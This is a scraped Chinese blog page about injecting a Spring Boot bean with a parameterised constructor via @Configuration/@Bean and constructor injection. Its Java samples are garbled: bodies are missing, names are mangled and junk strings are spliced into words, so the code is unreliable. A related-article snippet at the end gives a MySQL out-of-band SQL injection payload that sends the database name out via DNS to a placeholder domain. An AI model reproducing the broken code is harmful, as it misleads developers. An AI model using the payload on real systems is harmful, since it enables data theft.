使用Springboot注入帶引數的建構函式例項

2022-09-27 02:15:17 字數 1090 閱讀 7016

我們使用@service註解乙個service,預設注入的是不帶參的建構函式,如果我們需要注入帶參的建構函式,怎麼辦?

使用@configuration+ @bean註解來實現注入:

@configuration

public class blockchainserviceconfig

}service類

public class blockchainservice

}補充知識:spmjmvqring boot - spring beans之依賴構造器注入

使用所有spring framework技術定義mjmvq的beans以及他們的依賴注入都是免費的。簡單起見,我們通常使用@compnentscan查詢beans,結合@autowired構造注入效果比較好。

如果你的**結構是按之前建議的結構(將應用類放到根包裡),你可以新增@componentscan,不需要任何引數。這樣你所有的應用元件(@component,@service,@repository,@controller等等)都將會註冊為spring beans。

看下面的例子,@service bean使用構造注入,獲取cachemanager bean。

package com.example.service;

import org.springframework.beans.factory.annotation.autowired;

import org.springframework.stereotype.servi程式設計客棧ce;

@service

public class databasecacheservice implements cacheservice

// ...

}如果這個bean有乙個構造,可以省略@autowired。

@service

public class databasecacheservice implements cacheservice

// ...

}注意,使用構造注入允許cachemanager標記為final,這也表示以後不能再被更改了。

本文標題: 使用springboot注入帶引數的建構函式例項

本文位址:

spring boot 配置注入

spring boot配置注入有變數方式和類方式 參見 spring boot 自定義配置屬性的各種方式 變數中又要注意靜態變數的注入 參見 spring boot 給靜態變數注入值 靜態變數注入需要注意 value 與set函式必須連著寫,不能分開。另外記得在類前加 component 注入 pr...

spring boot的注入問題

從昨天下午到今天遇到乙個非常奇怪的問題,就是注入的問題,我的類都已經打上了 component 或 repository 按常理來說這樣就可以互相注入進來了,但是我通過 autowired 這個註解把其他類的例項注入進來,但是通過日誌列印最後獲取到的都是null,百思不得其解。通過網上搜尋,終於知道...

mysql帶外攻擊 mysql 帶外注入

帶外通道 有時候注入發現並沒有回顯,也不能利用時間盲注,那麼就可以利用帶外通道,也就是利用其他協議或者渠道,如http請求 dns解析 smb服務等將資料帶出。payload select load file concat select database xx.xx x 其中的load file的位...